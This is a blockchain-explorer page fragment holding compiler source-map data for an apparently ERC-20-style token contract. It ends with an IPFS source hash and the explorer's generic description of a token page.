26628:18;;26610:15;:36;;;;:::i;:::-;26609:71;;;;:::i;:::-;:75;;;;:::i;:::-;26583:101;-1:-1:-1;26697:51:0;26714:33;26583:101;26714:15;:33;:::i;:::-;26697:16;:51::i;:::-;26958:18;;26782:21;;;;26761:18;;26958:22;;26979:1;;26958:22;:::i;:::-;26937:44;;:17;:44;:::i;:::-;26901:18;;26888:31;;:10;:31;:::i;:::-;26887:95;;;;:::i;:::-;26861:121;;26993:17;27099:1;27078:18;;:22;;;;:::i;:::-;27057:44;;:17;:44;:::i;:::-;27027:12;;27014:25;;:10;:25;:::i;:::-;27013:89;;;;:::i;:::-;26993:109;-1:-1:-1;27132:27:0;26993:109;27132:15;:27;:::i;:::-;27113:46;;;;:::i;:::-;27191:1;27170:18;:22;;;27203:18;:22;;;27236:12;:16;;;27263;:20;27113:46;-1:-1:-1;27300:19:0;;;;;:42;;;27341:1;27323:15;:19;27300:42;27296:121;;;27359:46;27372:15;27389;27359:12;:46::i;:::-;27437:9;;27429:38;;-1:-1:-1;;;;;27437:9:0;;;;27429:38;;;;;27457:9;;27437;27429:38;27437:9;27429:38;27457:9;27437;27429:38;;;;;;;;;;;;;;;;;;;;-1:-1:-1;27486:15:0;;27478:56;;-1:-1:-1;;;;;27486:15:0;;;;27512:21;27478:56;;;;;27486:15;27478:56;27486:15;27478:56;27512:21;27486:15;27478:56;;;;;;;;;;;;;;;;;;;;;25986:1556;;;;;;;25958:1584::o;22680:239::-;-1:-1:-1;;;;;22763:30:0;;;;;;:24;:30;;;;;:38;;-1:-1:-1;;22763:38:0;;;;;;;22814:39;22763:30;:38;22814:26;:39::i;5094:651::-;-1:-1:-1;;;;;5234:20:0;;5226:70;;;;-1:-1:-1;;;5226:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5315:23:0;;5307:71;;;;-1:-1:-1;;;5307:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5415:17:0;;5391:21;5415:17;;;:9;:17;;;;;;5465:23;;;;5443:111;;;;-1:-1:-1;;;5443:111:0;;16648:2:1;5443:111:0;;;16630:21:1;16687:2;16667:18;;;16660:30;16726:34;16706:18;;;16699:62;-1:-1:-1;;;16777:18:1;;;16770:36;16823:19;;5443:111:0;16446:402:1;5443:111:0;-1:-1:-1;;;;;5590:17:0;;;;;;;:9;:17;;;;;;5610:22;;;5590:42;;5654:20;;;;;;;;:30;;5626:6;;5590:17;5654:30;;5626:6;;5654:30;:::i;:::-;;;;;;;;5719:9;-1:-1:-1;;;;;5702:35:0;5711:6;-1:-1:-1;;;;;5702:35:0;;5730:6;5702:35;;;;1592:25:1;;1580:2;1565:18;;1446:177;5702:35:0;;;;;;;;5215:530;5094:651;;;:::o;4694:392::-;-1:-1:-1;;;;;4780:22:0;;4772:35;;;;-1:-1:-1;;;4772:35:0;;17055:2:1;4772:35:0;;;17037:21:1;-1:-1:-1;17074:18:1;;;17067:29;17113:18;;4772:35:0;16853:284:1;4772:35:0;-1:-1:-1;;;;;4836:19:0;;4818:15;4836:19;;;:9;:19;;;;;;4874:18;;;;4866:31;;;;-1:-1:-1;;;4866:31:0;;17055:2:1;4866:31:0;;;17037:21:1;-1:-1:-1;17074:18:1;;;17067:29;17113:18;;4866:31:0;16853:284:1;4866:31:0;-1:-1:-1;;;;;4933:19:0;;;;;;:9;:19;;;;;;;;4955:17;;;4933:39;;4987:12;:23;;;;;;;5039:39;1592:25:1;;;4933:19:0;;;5039:39;;1565:18:1;5039:39:0;1446:177:1;27550:472:0;27640:16;;;27654:1;27640:16;;;;;;;;27616:21;;27640:16;;;;;;;;;;-1:-1:-1;27640:16:0;27616:40;;27685:4;27667;27672:1;27667:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27667:23:0;;;:7;;;;;;;;;;:23;;;;27711:15;;:22;;;-1:-1:-1;;;27711:22:0;;;;:15;;;;;:20;;:22;;;;;27667:7;;27711:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27701:4;27706:1;27701:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27701:32:0;;;:7;;;;;;;;;:32;27776:15;;27744:62;;27761:4;;27776:15;27794:11;27744:8;:62::i;:::-;27817:15;;:197;;-1:-1:-1;;;27817:197:0;;-1:-1:-1;;;;;27817:15:0;;;;:66;;:197;;27898:11;;27817:15;;27941:4;;27968;;27988:15;;27817:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27605:417;27550:472;:::o;12627:368::-;12740:15;;12708:62;;12725:4;;-1:-1:-1;;;;;12740:15:0;12758:11;12708:8;:62::i;:::-;12781:15;;:206;;-1:-1:-1;;;12781:206:0;;12853:4;12781:206;;;18988:34:1;19038:18;;;19031:34;;;12781:15:0;19081:18:1;;;19074:34;;;19124:18;;;19117:34;12939:6:0;19167:19:1;;;19160:44;12961:15:0;19220:19:1;;;19213:35;-1:-1:-1;;;;;12781:15:0;;;;:31;;12820:9;;18922:19:1;;12781:206:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12627:368;;:::o;22927:226::-;-1:-1:-1;;;;;23043:26:0;;;;;;:16;:26;;;;;;;;;:40;;-1:-1:-1;;23043:40:0;;;;;;;;;;23099:46;;19738:51:1;;;19805:18;;;19798:50;23099:46:0;;19711:18:1;23099:46:0;;;;;;;22927:226;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1628:247::-;1687:6;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1795:9;1782:23;1814:31;1839:5;1814:31;:::i;1880:456::-;1957:6;1965;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2081:9;2068:23;2100:31;2125:5;2100:31;:::i;:::-;2150:5;-1:-1:-1;2207:2:1;2192:18;;2179:32;2220:33;2179:32;2220:33;:::i;:::-;1880:456;;2272:7;;-1:-1:-1;;;2326:2:1;2311:18;;;;2298:32;;1880:456::o;2341:180::-;2400:6;2453:2;2441:9;2432:7;2428:23;2424:32;2421:52;;;2469:1;2466;2459:12;2421:52;-1:-1:-1;2492:23:1;;2341:180;-1:-1:-1;2341:180:1:o;2526:385::-;2612:6;2620;2628;2636;2689:3;2677:9;2668:7;2664:23;2660:33;2657:53;;;2706:1;2703;2696:12;2657:53;-1:-1:-1;;2729:23:1;;;2799:2;2784:18;;2771:32;;-1:-1:-1;2850:2:1;2835:18;;2822:32;;2901:2;2886:18;2873:32;;-1:-1:-1;2526:385:1;-1:-1:-1;2526:385:1:o;3313:383::-;3390:6;3398;3406;3459:2;3447:9;3438:7;3434:23;3430:32;3427:52;;;3475:1;3472;3465:12;3427:52;3514:9;3501:23;3533:31;3558:5;3533:31;:::i;:::-;3583:5;3635:2;3620:18;;3607:32;;-1:-1:-1;3686:2:1;3671:18;;;3658:32;;3313:383;-1:-1:-1;;;3313:383:1:o;3701:416::-;3766:6;3774;3827:2;3815:9;3806:7;3802:23;3798:32;3795:52;;;3843:1;3840;3833:12;3795:52;3882:9;3869:23;3901:31;3926:5;3901:31;:::i;:::-;3951:5;-1:-1:-1;4008:2:1;3993:18;;3980:32;4050:15;;4043:23;4031:36;;4021:64;;4081:1;4078;4071:12;4021:64;4104:7;4094:17;;;3701:416;;;;;:::o;4122:388::-;4190:6;4198;4251:2;4239:9;4230:7;4226:23;4222:32;4219:52;;;4267:1;4264;4257:12;4219:52;4306:9;4293:23;4325:31;4350:5;4325:31;:::i;:::-;4375:5;-1:-1:-1;4432:2:1;4417:18;;4404:32;4445:33;4404:32;4445:33;:::i;4515:380::-;4594:1;4590:12;;;;4637;;;4658:61;;4712:4;4704:6;4700:17;4690:27;;4658:61;4765:2;4757:6;4754:14;4734:18;4731:38;4728:161;;4811:10;4806:3;4802:20;4799:1;4792:31;4846:4;4843:1;4836:15;4874:4;4871:1;4864:15;4728:161;;4515:380;;;:::o;4900:356::-;5102:2;5084:21;;;5121:18;;;5114:30;5180:34;5175:2;5160:18;;5153:62;5247:2;5232:18;;4900:356::o;6029:127::-;6090:10;6085:3;6081:20;6078:1;6071:31;6121:4;6118:1;6111:15;6145:4;6142:1;6135:15;6161:168;6234:9;;;6265;;6282:15;;;6276:22;;6262:37;6252:71;;6303:18;;:::i;6334:217::-;6374:1;6400;6390:132;;6444:10;6439:3;6435:20;6432:1;6425:31;6479:4;6476:1;6469:15;6507:4;6504:1;6497:15;6390:132;-1:-1:-1;6536:9:1;;6334:217::o;6966:125::-;7031:9;;;7052:10;;;7049:36;;;7065:18;;:::i;12859:401::-;13061:2;13043:21;;;13100:2;13080:18;;;13073:30;13139:34;13134:2;13119:18;;13112:62;-1:-1:-1;;;13205:2:1;13190:18;;13183:35;13250:3;13235:19;;12859:401::o;13265:399::-;13467:2;13449:21;;;13506:2;13486:18;;;13479:30;13545:34;13540:2;13525:18;;13518:62;-1:-1:-1;;;13611:2:1;13596:18;;13589:33;13654:3;13639:19;;13265:399::o;14782:128::-;14849:9;;;14870:11;;;14867:37;;;14884:18;;:::i;17274:127::-;17335:10;17330:3;17326:20;17323:1;17316:31;17366:4;17363:1;17356:15;17390:4;17387:1;17380:15;17406:251;17476:6;17529:2;17517:9;17508:7;17504:23;17500:32;17497:52;;;17545:1;17542;17535:12;17497:52;17577:9;17571:16;17596:31;17621:5;17596:31;:::i;17662:980::-;17924:4;17972:3;17961:9;17957:19;18003:6;17992:9;17985:25;18029:2;18067:6;18062:2;18051:9;18047:18;18040:34;18110:3;18105:2;18094:9;18090:18;18083:31;18134:6;18169;18163:13;18200:6;18192;18185:22;18238:3;18227:9;18223:19;18216:26;;18277:2;18269:6;18265:15;18251:29;;18298:1;18308:195;18322:6;18319:1;18316:13;18308:195;;;18387:13;;-1:-1:-1;;;;;18383:39:1;18371:52;;18478:15;;;;18443:12;;;;18419:1;18337:9;18308:195;;;-1:-1:-1;;;;;;;18559:32:1;;;;18554:2;18539:18;;18532:60;-1:-1:-1;;;18623:3:1;18608:19;18601:35;18520:3;17662:980;-1:-1:-1;;;17662:980:1:o;19259:306::-;19347:6;19355;19363;19416:2;19404:9;19395:7;19391:23;19387:32;19384:52;;;19432:1;19429;19422:12;19384:52;19461:9;19455:16;19445:26;;19511:2;19500:9;19496:18;19490:25;19480:35;;19555:2;19544:9;19540:18;19534:25;19524:35;;19259:306;;;;;:::o

Swarm Source

ipfs://4f3eb756ba1d3f7df09448e6d2f2326dcf303dde004774f8f1ef6c73179a068e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.